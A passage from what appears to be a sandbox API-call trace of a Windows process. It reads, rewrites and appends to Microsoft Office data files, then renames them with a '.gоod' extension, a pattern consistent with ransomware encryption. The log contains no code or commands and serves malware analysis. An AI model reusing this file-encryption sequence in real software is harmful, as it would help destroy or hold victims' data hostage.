lpBuffer=0x368ecf0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0133.421] CloseHandle (hObject=0x618) returned 1 [0133.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0133.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x50 [0133.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0133.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4bbd4b52, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9633)) returned 1 [0133.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0133.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0133.423] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0133.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0133.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3796ea8 | out: lpFileInformation=0x3796ea8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd02)) returned 1 [0133.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0133.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0133.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0133.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0133.424] GetFileType (hFile=0x618) returned 0x1 [0133.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0133.424] GetFileType (hFile=0x618) returned 0x1 [0133.424] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd02 [0133.424] ReadFile (in: hFile=0x618, lpBuffer=0x3797ee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3797ee8*, lpNumberOfBytesRead=0x1fcee238*=0xd02, lpOverlapped=0x0) returned 1 [0133.428] CloseHandle (hObject=0x618) returned 1 [0134.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0134.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0134.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.283] GetFileType (hFile=0x650) returned 0x1 [0134.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0134.283] GetFileType (hFile=0x650) returned 0x1 [0134.283] WriteFile (in: hFile=0x650, lpBuffer=0x37d6228*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37d6228*, lpNumberOfBytesWritten=0x1fcee148*=0xd10, lpOverlapped=0x0) returned 1 [0134.284] CloseHandle (hObject=0x650) returned 1 [0134.284] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0134.284] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x58 [0134.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0134.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4c406dc8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd10)) returned 1 [0134.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0134.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0134.285] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0134.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0134.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x37d7510 | out: lpFileInformation=0x37d7510*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd04ffae9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11b8)) returned 1 [0134.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0134.286] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0134.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0134.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.286] GetFileType (hFile=0x650) returned 0x1 [0134.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0134.286] GetFileType (hFile=0x650) returned 0x1 [0134.286] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0134.287] ReadFile (in: hFile=0x650, lpBuffer=0x37d7998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37d7998*, lpNumberOfBytesRead=0x1fcee2d8*=0x1b8, lpOverlapped=0x0) returned 1 [0134.288] CloseHandle (hObject=0x650) returned 1 [0134.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0134.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0134.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.288] GetFileType (hFile=0x650) returned 0x1 [0134.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0134.288] GetFileType (hFile=0x650) returned 0x1 [0134.288] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x11b8 [0134.288] WriteFile (in: hFile=0x650, lpBuffer=0x37d8c88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x37d8c88*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0134.288] CloseHandle (hObject=0x650) returned 1 [0134.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0134.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0134.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.289] GetFileType (hFile=0x650) returned 0x1 [0134.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0134.289] GetFileType (hFile=0x650) returned 0x1 [0134.289] ReadFile (in: hFile=0x650, lpBuffer=0x37daf80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37daf80*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0134.959] CloseHandle (hObject=0x650) returned 1 [0134.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0134.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0134.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.960] GetFileType (hFile=0x650) returned 0x1 [0134.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0134.960] GetFileType (hFile=0x650) returned 0x1 [0134.960] WriteFile (in: hFile=0x650, lpBuffer=0x3712c00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3712c00*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0134.960] CloseHandle (hObject=0x650) returned 1 [0134.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0134.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x53 [0134.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0134.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4ca6f532, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11c8)) returned 1 [0134.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0134.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat.gоod")) returned 1 [0134.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0134.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0134.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x397ea00 | out: lpFileInformation=0x397ea00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x142b0)) returned 1 [0134.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0134.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0134.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0134.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.962] GetFileType (hFile=0x650) returned 0x1 [0134.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0134.962] GetFileType (hFile=0x650) returned 0x1 [0134.962] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0134.963] ReadFile (in: hFile=0x650, lpBuffer=0x397eed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x397eed8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0134.964] CloseHandle (hObject=0x650) returned 1 [0134.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0134.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0134.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.964] GetFileType (hFile=0x650) returned 0x1 [0134.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0134.964] GetFileType (hFile=0x650) returned 0x1 [0134.964] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x142b0 [0134.964] WriteFile (in: hFile=0x650, lpBuffer=0x39801b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x39801b8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0134.965] CloseHandle (hObject=0x650) returned 1 [0134.965] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0134.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0134.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0134.966] GetFileType (hFile=0x650) returned 0x1 [0134.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0134.966] GetFileType (hFile=0x650) returned 0x1 [0134.966] ReadFile (in: hFile=0x650, lpBuffer=0x3982510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3982510*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0135.773] CloseHandle (hObject=0x650) returned 1 [0135.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0135.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0135.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0135.773] GetFileType (hFile=0x650) returned 0x1 [0135.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0135.773] GetFileType (hFile=0x650) returned 0x1 [0135.773] WriteFile (in: hFile=0x650, lpBuffer=0x3742270*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3742270*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0135.773] CloseHandle (hObject=0x650) returned 1 [0135.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0135.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x57 [0135.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0135.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4d22f086, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x142c0)) returned 1 [0135.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0135.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0135.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0135.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0135.775] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x39e0f90 | out: lpFileInformation=0x39e0f90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, 